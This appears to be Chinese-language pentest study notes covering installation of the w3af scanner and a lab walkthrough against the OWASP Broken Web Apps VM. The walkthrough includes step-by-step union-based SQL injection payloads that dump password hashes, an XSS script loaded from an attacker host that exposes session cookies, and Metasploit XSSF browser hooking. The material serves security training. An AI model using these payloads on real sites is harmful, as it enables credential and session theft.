2.扫描神器 W3AF (Web Application Attack and Audit Framwork)
核心模块负责进程的调度和插件的使用,插件部分则负责查找并攻击Web安全漏洞。
插件部分根据功能的不同,又分为8 类模块
包括: 发现模块(discovery)、审计模块(audit )、搜索模块(grep )、攻击模块(attack)、输出模块output)、修改模块(mangle)、人侵模块(evasion )、破解模块(bruteforce)
1. 安装配置:http://blog.csdn.net/ycl146/article/details/75041527
1. 进入到目录
cd /usr/local/src/
2. 下载w3af程序文件
root@attacker:/usr/local/src# git clone https://github.com/andresriancho/w3af.git
或者直接去 github(https://github.com/andresriancho/w3af.git) 下载,之后复制到此目录
3. 切换目录到 w3af
root@attacker:/usr/local/src# ls
circle.yml extras README.md tools w3af_api w3af_gui
doc profiles scripts w3af w3af_console
root@attacker:/usr/local/src# cd w3af/
4. 修改文件内容如下
root@attacker:/usr/local/src/w3af# vim core/controllers/dependency_check/requirements.py
PIPDependency('pybloomfilter', 'pybloomfiltermmap', '0.3.15'), #31行
PIPDependency('OpenSSL', 'pyOpenSSL', '16.2.0'), #39行
PIPDependency('lxml', 'lxml', '3.7.1'), #45行
5. 修改文件内容如下
root@attacker:/usr/local/src/w3af# vim core/controllers/dependency_check/platforms/mac.py
MAC_CORE_PIP_PACKAGES.remove(PIPDependency('pybloomfilter', 'pybloomfiltermmap', '0.3.15')
6. 安装 python-pybloomfiltermmap graphviz
root@attacker:/usr/local/src/w3af# apt install -y python-pybloomfiltermmap graphviz
7. 然后执行 w3af_gui 命令
root@attacker:/usr/local/src# ./w3af_gui
A script with these commands has been created for you at /tmp/w3af_dependency_install.sh
root@attacker:/usr/local/src# sh /tmp/w3af_dependency_install.sh
root@attacker:/usr/local/src# ./w3af_console
w3af>>> exit
root@attacker:/usr/local/src# ./w3af_gui
提示 no module named webkit
因为新版本的kali的软件原已经不包含python-webkit和python-webkit-dev
所以只能安装二进制文件 用dpkg -i 二进制包名来安装webkit
8. cd /usr/local/src 进入目录
由于我本机是64位kali系统 所以我下载安装64位的软件包 如果是32位的请根据url下载对应的32位软件包
wget http://ftp.br.debian.org/debian/pool/main/p/pywebkitgtk/python-webkit_1.1.8-3_amd64.deb
9. 此软件包安装还依赖于其他三个软件包,所以下载另外三个软件包
wget http://ftp.br.debian.org/debian/pool/main/w/webkitgtk/libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb
wget http://ftp.br.debian.org/debian/pool/main/p/python-support/python-support_1.0.15_all.deb
wget http://ftp.br.debian.org/debian/pool/main/w/webkitgtk/libwebkitgtk-1.0-0_2.4.11-3_amd64.deb
10. 然后依次执行安装命令
dpkg -i libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb
dpkg -i python-support_1.0.15_all.deb
dpkg -i libwebkitgtk-1.0-0_2.4.11-3_amd64.deb
dpkg -i python-webkit_1.1.8-3_amd64.deb
此时如果不报错表示webkit模块已经安装好
11 可以通过命令python进入python解释器,然后执行import webkit来验证是不是安装好
12. 此时执行./w3af_gui 提示 no module named python-gtksourceview2
13. 执行命令 apt-get install python-gtksourceview2 安装
14. 最后 ./w3af_gui 执行成功,出现w3af图形启动页面。大功告成,完毕。
3. SQL 注入漏洞探测
Sqlmap 是一款开源的命令行自动 SQL 注入工具
4. XSS 漏洞探测
5. Web 应用程序漏洞探测
4. Web 应用程序渗透测试
1. SQL 注入实例分析
此处使用 OWASP_Broken_Web_Apps_VM_0.94 版本
1. 先登录到 DVWA ,找到 DVWA Security 选项卡,选择安全级别为 low
2. 选择 SQL Injection 选项卡,进行测试
3. 输入 “’”
提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
表明可能有 SQL 注入漏洞
4. 输入 “1’”
输人“1’”两个字符后,没有提示任何错误,但是没有返回任何信息,说明需要“'”以保证SQL查询语句的正确性。
5. 输入 “' or 1=1 '”
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
说明 SQL 语句依然存在错误,或许注释掉 SQL 语句后面的部分就能解决这个问题
6. 输入 “' or 1=1-- '”
结果查到所有的列名
7. 输入 “' union select 1,2 -- '”
查到了列数,表明列数猜解正确
8. 输入 “' union select 1, table_name from INFORMATION_SCHEMA.tables -- '”
通过查询 INFORMATION_SCHEMA 系统表,可以看到数据库中每一个表的名字以及每一列的名字
9. 输入 “'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '”
列出了user表中的内容,我们发现user表中共有6列数据
10. 输入 “ ' union select null, password from users -- '”
得到了密码
11. 输入 “ ' union select password, concat(first_name, '', last_name, user) from users -- ' ”
通过 concat() 函数将所有信息都列出来
12. 这样就完成了一次 SQL 注入过程
输出结果:
ID: ' union select password, concat(first_name, '', last_name, user) from users -- '
First name: 21232f297a57a5a743894a0e4a801fc3
Surname: adminadminadmin
ID: ' union select password, concat(first_name, '', last_name, user) from users -- '
First name: e99a18c428cb38d5f260853678922e03
Surname: GordonBrowngordonb
2. 跨站攻击实例分析
选择 XSS reflected 选项卡
1. 输入 “ <script>alert('XSS')</script>”
成功弹框XSS
2. 登录10.10.10.129,选择 Mutillidae 选项卡,而不是 DVWA
选择 Add to your blog 选项卡 ,进入到写博客界面
3. 提前在 kali 上写一个xss.js文件
root@attacker:/var/www/html# vim xss.js
document.write ("This is remote text via xss.js located at attacker.dvssc.com "+ document.cookie);
alert ("This is remote text via xss.js located at attacker.dvssc.com"+ document.cookie
root@attacker:/var/www/html# systemctl start apache2.service
3. 在输入框输入:<script/xss src="http://10.10.10.128/xss.js"></script>
此处有弹框 This is remote text via xss.js located at attacker.dvssc.comPHPSESSID=78a4rfkdvorjnaq27mqtpe0s22; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Entries:
anonymous:(2017-09-11 01:01:45)
This is remote text via xss.js located at attacker.dvssc.com
PHPSESSID=78a4rfkdvorjnaq27mqtpe0s22; acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada
4. kali 上 msf 加载 xssf,下载并合并文件夹
XSSF下载 https://code.google.com/archive/p/xssf/downloads
root@attacker:~/Desktop/XSSF# cp -rdf * /usr/share/metasploit-framework/
5. 使用 xssf
msf > load xssf
msf > xssf_urls
[+] XSSF Server : 'http://10.10.10.128:8888/' or 'http://<PUBLIC-IP>:8888/'
[+] Generic XSS injection: 'http://10.10.10.128:8888/loop' or 'http://<PUBLIC-IP>:8888/loop'
[+] XSSF test page : 'http://10.10.10.128:8888/test.html' or 'http://<PUBLIC-IP>:8888/test.html'
[+] XSSF Tunnel Proxy : 'localhost:8889'
[+] XSSF logs page : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'
6. 将上面的第二个网址填入 Mutillidae 的博客提交框 http://10.10.10.128:8888/loop' or 'http://<PUBLIC-IP>:8888/loop
换一台机器访问刚才写的博客